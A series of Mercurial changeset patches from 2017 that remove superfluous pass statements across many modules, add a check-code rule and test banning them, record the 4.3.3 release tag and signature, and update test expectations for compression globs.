diff --git a/mercurial/branchmap.py b/mercurial/branchmap.py
--- a/mercurial/branchmap.py
+++ b/mercurial/branchmap.py
@@ -251,9 +251,8 @@
                         'wrote %s branch cache with %d labels and %d nodes\n',
                         repo.filtername, len(self), nodecount)
         except (IOError, OSError, error.Abort) as inst:
+            # Abort may be raised by read only opener, so log and continue
             repo.ui.debug("couldn't write branch cache: %s\n" % inst)
-            # Abort may be raise by read only opener
-            pass
 
     def update(self, repo, revgen):
         """Given a branchhead cache, self, that may have extra nodes or be
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771791 14400
#      Sat Sep 30 07:43:11 2017 -0400
# Node ID 635553ca6eb9e9d96b586ff35ff3d05769a312d9
# Parent  d0db41af73c08bb55c7d6bb487bc94d6ae89c635
byterange: remove superfluous pass statements

diff --git a/mercurial/byterange.py b/mercurial/byterange.py
--- a/mercurial/byterange.py
+++ b/mercurial/byterange.py
@@ -44,7 +44,6 @@
 
 class RangeError(IOError):
     """Error raised when an unsatisfiable range is requested."""
-    pass
 
 class HTTPRangeHandler(urlreq.basehandler):
     """Handler that enables HTTP Range headers.
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771806 14400
#      Sat Sep 30 07:43:26 2017 -0400
# Node ID 2a360445afa0e64186795b5a61c4a0329e9f5c10
# Parent  635553ca6eb9e9d96b586ff35ff3d05769a312d9
cmdutil: remove superfluous pass statements

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1735,7 +1735,6 @@
     def _exthook(self, ctx):
         '''empty method used by extension as a hook point
         '''
-        pass
 
     def showpatch(self, ctx, matchfn):
         if not matchfn:
@@ -3632,7 +3631,6 @@
 
 def _revertprefetch(repo, ctx, *files):
     """Let extension changing the storage layer prefetch content"""
-    pass
 
 def _performrevert(repo, parents, ctx, actions, interactive=False,
                    tobackup=None):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771820 14400
#      Sat Sep 30 07:43:40 2017 -0400
# Node ID 76b334b9f45c194445e81b81bcd095301a6de9df
# Parent  2a360445afa0e64186795b5a61c4a0329e9f5c10
commandserver: remove superfluous pass statements

diff --git a/mercurial/commandserver.py b/mercurial/commandserver.py
--- a/mercurial/commandserver.py
+++ b/mercurial/commandserver.py
@@ -184,7 +184,6 @@
 
     def cleanup(self):
         """release and restore resources taken during server session"""
-        pass
 
     def _read(self, size):
         if not size:
@@ -422,7 +421,6 @@
 
     def newconnection(self):
         """Called when main process notices new connection"""
-        pass
 
     def createcmdserver(self, repo, conn, fin, fout):
         """Create new command server instance; called in the process that
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771833 14400
#      Sat Sep 30 07:43:53 2017 -0400
# Node ID 100814e14b77eba6d6b991f9458ce7446977ecc8
# Parent  76b334b9f45c194445e81b81bcd095301a6de9df
exchange: remove superfluous pass statements

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1417,7 +1417,6 @@
 
 def _pullbundle2extraprepare(pullop, kwargs):
     """hook function so that extensions can extend the getbundle call"""
-    pass
 
 def _pullchangeset(pullop):
     """pull changeset from unbundle into the local repo"""
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771848 14400
#      Sat Sep 30 07:44:08 2017 -0400
# Node ID ebf2c1b0c70c465a8856fb9e05fca3ed46ffa152
# Parent  100814e14b77eba6d6b991f9458ce7446977ecc8
formatter: remove superfluous pass statements

diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -167,7 +167,6 @@
             self.end()
     def _showitem(self):
         '''show a formatted item once all data is collected'''
-        pass
     def startitem(self):
         '''begin an item in the format list'''
         if self._item is not None:
@@ -206,7 +205,6 @@
         self._item.update(zip(fieldkeys, fielddata))
     def plain(self, text, **opts):
         '''show raw text for non-templated mode'''
-        pass
     def isplain(self):
         '''check for plain formatter usage'''
         return False
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771860 14400
#      Sat Sep 30 07:44:20 2017 -0400
# Node ID 4741428606ed5aa1319768510e1a57a4bc1af10a
# Parent  ebf2c1b0c70c465a8856fb9e05fca3ed46ffa152
hgweb: remove superfluous pass statements

diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -61,7 +61,6 @@
     @staticmethod
     def preparehttpserver(httpserver, ui):
         """Prepare .socket of new HTTPServer instance"""
-        pass
 
     def __init__(self, *args, **kargs):
         self.protocol_version = 'HTTP/1.1'
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771874 14400
#      Sat Sep 30 07:44:34 2017 -0400
# Node ID a14642bdf364ca7e9c0599f63cf23d34635360ba
# Parent  4741428606ed5aa1319768510e1a57a4bc1af10a
localrepo: remove superfluous pass statements

diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -2181,7 +2181,6 @@
         to be performed before pushing, or call it if they override push
         command.
         """
-        pass
 
     @unfilteredpropertycache
     def prepushoutgoinghooks(self):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771885 14400
#      Sat Sep 30 07:44:45 2017 -0400
# Node ID acabbc5ccd24c9f92ad3890bab493e78191f47a6
# Parent  a14642bdf364ca7e9c0599f63cf23d34635360ba
match: remove superfluous pass statements

diff --git a/mercurial/match.py b/mercurial/match.py
--- a/mercurial/match.py
+++ b/mercurial/match.py
@@ -250,7 +250,6 @@
     def bad(self, f, msg):
         '''Callback from dirstate.walk for each explicit file that can't be
         found/accessed, with an error message.'''
-        pass
 
     # If an explicitdir is set, it will be called when an explicitly listed
     # directory is visited.
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771895 14400
#      Sat Sep 30 07:44:55 2017 -0400
# Node ID 6b724caa878dbcddc4d1b467614384fc82ac7dad
# Parent  acabbc5ccd24c9f92ad3890bab493e78191f47a6
obsolete: remove superfluous pass statements

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -542,7 +542,6 @@
                     raise
                 # just build an empty _all list if no obsstore exists, which
                 # avoids further stat() syscalls
-                pass
         return bool(self._all)
 
     __bool__ = __nonzero__
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771907 14400
#      Sat Sep 30 07:45:07 2017 -0400
# Node ID 86f3c9760cc4b5d604ca6a8def0083fb1d8cf732
# Parent  6b724caa878dbcddc4d1b467614384fc82ac7dad
patch: remove superfluous pass statements

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -442,7 +442,6 @@
         which failed to apply and total the total number of hunks for this
         files.
         """
-        pass
 
     def exists(self, fname):
         raise NotImplementedError
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771941 14400
#      Sat Sep 30 07:45:41 2017 -0400
# Node ID 4735c1caf6b362ff0b6d5d65fbf35756d7060500
# Parent  86f3c9760cc4b5d604ca6a8def0083fb1d8cf732
registrar: remove superfluous pass statements

diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -102,7 +102,6 @@
     def _extrasetup(self, name, func):
         """Execute exra setup for registered function, if needed
         """
-        pass
 
 class command(_funcregistrarbase):
     """Decorator to register a command function to table
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771951 14400
#      Sat Sep 30 07:45:51 2017 -0400
# Node ID 719a5c17e1311e4bf384bc5a475f5565ec8e3d3c
# Parent  4735c1caf6b362ff0b6d5d65fbf35756d7060500
subrepo: remove superfluous pass statements

diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -600,7 +600,6 @@
         walk recursively through the directory tree, finding all files
         matched by the match function
         '''
-        pass
 
     def forget(self, match, prefix):
         return ([], [])
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771918 14400
#      Sat Sep 30 07:45:18 2017 -0400
# Node ID ab687e06fe022784643064c163fbf2038961c7ce
# Parent  719a5c17e1311e4bf384bc5a475f5565ec8e3d3c
posix: replace superfluous pass statement with explicit return

diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -300,7 +300,7 @@
 def checkosfilename(path):
     '''Check that the base-relative path is a valid filename on this platform.
     Returns None if the path is ok, or a UI string describing the problem.'''
-    pass # on posix platforms, every path is ok
+    return None # on posix platforms, every path is ok
 
 def setbinary(fd):
     pass
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506700544 14400
#      Fri Sep 29 11:55:44 2017 -0400
# Node ID b52f22d9afa5a8abd4acd6aa27f8c2e413d087c1
# Parent  ab687e06fe022784643064c163fbf2038961c7ce
contrib: add a check to check-code to ban superfluous pass statements

These have annoyed me for a long time, and I'm tired of commenting on
them in reviews. I'm sorry for how complicated the regular expression
is, but I was too lazy to go crack open pylint's code and add the
check there.

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -257,6 +257,16 @@
     (r'(\w|\))[+/*\-<>]\w', "missing whitespace in expression"),
     (r'^\s+(\w|\.)+=\w[^,()\n]*$', "missing whitespace in assignment"),
     (r'\w\s=\s\s+\w', "gratuitous whitespace after ="),
+    ((
+        # a line ending with a colon, potentially with trailing comments
+        r':([ \t]*#[^\n]*)?\n'
+        # one that is not a pass and not only a comment
+        r'(?P<indent>[ \t]+)[^#][^\n]+\n'
+        # more lines at the same indent level
+        r'((?P=indent)[^\n]+\n)*'
+        # a pass at the same indent level, which is bogus
+        r'(?P=indent)pass[ \t\n#]'
+      ), 'omit superfluous pass'),
     (r'.{81}', "line too long"),
     (r'[^\n]\Z', "no trailing newline"),
     (r'(\S[ \t]+|^[ \t]+)\n', "trailing whitespace"),
diff --git a/tests/test-contrib-check-code.t b/tests/test-contrib-check-code.t
--- a/tests/test-contrib-check-code.t
+++ b/tests/test-contrib-check-code.t
@@ -285,11 +285,43 @@
   >           ''' "%-6d \n 123456 .:*+-= foobar")
   > EOF
 
+superfluous pass
+
+  $ cat > superfluous_pass.py <<EOF
+  > # correct examples
+  > if foo:
+  >     pass
+  > else:
+  >     # comment-only line means still need pass
+  >     pass
+  > def nothing():
+  >     pass
+  > class empty(object):
+  >     pass
+  > if whatever:
+  >     passvalue(value)
+  > # bad examples
+  > if foo:
+  >     "foo"
+  >     pass
+  > else: # trailing comment doesn't fool checker
+  >     wat()
+  >     pass
+  > def nothing():
+  >     "docstring means no pass"
+  >     pass
+  > class empty(object):
+  >     """multiline
+  >     docstring also
+  >     means no pass"""
+  >     pass
+  > EOF
+
 (Checking multiple invalid files at once examines whether caching
 translation table for repquote() works as expected or not. All files
 should break rules depending on result of repquote(), in this case)
 
-  $ "$check_code" stringjoin.py uigettext.py
+  $ "$check_code" stringjoin.py uigettext.py superfluous_pass.py
   stringjoin.py:1:
    > foo = (' foo'
    string join across lines with no space
@@ -317,4 +349,16 @@
   uigettext.py:1:
    > ui.status("% 10s %05d % -3.2f %*s %%"
    missing _() in ui message (use () to hide false-positives)
+  superfluous_pass.py:14:
+   > if foo:
+   omit superfluous pass
+  superfluous_pass.py:17:
+   > else: # trailing comment doesn't fool checker
+   omit superfluous pass
+  superfluous_pass.py:20:
+   > def nothing():
+   omit superfluous pass
+  superfluous_pass.py:23:
+   > class empty(object):
+   omit superfluous pass
   [1]
# HG changeset patch
# User Kevin Bullock <kbullock+mercurial@ringworld.org>
# Date 1506850899 -3600
#      Sun Oct 01 10:41:39 2017 +0100
# Node ID cac3f51bf3d5a5243e9b0db880f6b5e51f1e9db9
# Parent  b52f22d9afa5a8abd4acd6aa27f8c2e413d087c1
# Parent  c74d6d870073d8d0d773fb197a9429d33affc63a
merge with stable

diff --git a/.hgsigs b/.hgsigs
--- a/.hgsigs
+++ b/.hgsigs
@@ -151,3 +151,4 @@
 943c91326b23954e6e1c6960d0239511f9530258 0 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
+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
diff --git a/.hgtags b/.hgtags
--- a/.hgtags
+++ b/.hgtags
@@ -164,3 +164,4 @@
 943c91326b23954e6e1c6960d0239511f9530258 4.2.3
 3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
 920977f72c7b70acfdaf56ab35360584d7845827 4.3.2
+2f427b57bf9019c6dc3750baa539dc22c1be50f6 4.3.3
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506790620 14400
#      Sat Sep 30 12:57:00 2017 -0400
# Node ID 44841a4d0efb293cf17775d9d58e401b84332c98
# Parent  cac3f51bf3d5a5243e9b0db880f6b5e51f1e9db9
tests: update some clonebundles expectations to pass on both pure and non-pure

Specifically, zstd isn't available in --pure mode, and we need to glob
off the leading comma as well as the absent compression engine.

Differential Revision: https://phab.mercurial-scm.org/D859

diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -32,7 +32,7 @@
   $ cat server/access.log
   * - - [*] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob)
   * - - [*] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=aaff8d2ffbbf07a46dd1f05d8ae7877e3f56e2a2&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
+  * - - [*] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=aaff8d2ffbbf07a46dd1f05d8ae7877e3f56e2a2&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
 
 Empty manifest file results in retrieval
 (the extension only checks if the manifest file exists)
diff --git a/tests/test-hgweb-commands.t b/tests/test-hgweb-commands.t
--- a/tests/test-hgweb-commands.t
+++ b/tests/test-hgweb-commands.t
@@ -1926,7 +1926,7 @@
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities'; echo
   200 Script output follows
   
-  lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx compression=*,zlib (glob)
+  lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx compression=*zlib (glob)
 
 heads
 
diff --git a/tests/test-http-proxy.t b/tests/test-http-proxy.t
--- a/tests/test-http-proxy.t
+++ b/tests/test-http-proxy.t
@@ -108,13 +108,13 @@
   * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=83180e7845de420a1bb46896fd5fe05294f8d629&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506790686 14400
#      Sat Sep 30 12:58:06 2017 -0400
# Node ID c4594d38b2da9829cb67f2e3bc401232d5981bc8
# Parent  44841a4d0efb293cf17775d9d58e401b84332c98
treediscovery: update test expectation

I'm not sure why this needs an update, but the test passes for me both
pure and non-pure.

Differential Revision: https://phab.mercurial-scm.org/D860

diff --git a/tests/test-treediscovery.t b/tests/test-treediscovery.t
--- a/tests/test-treediscovery.t
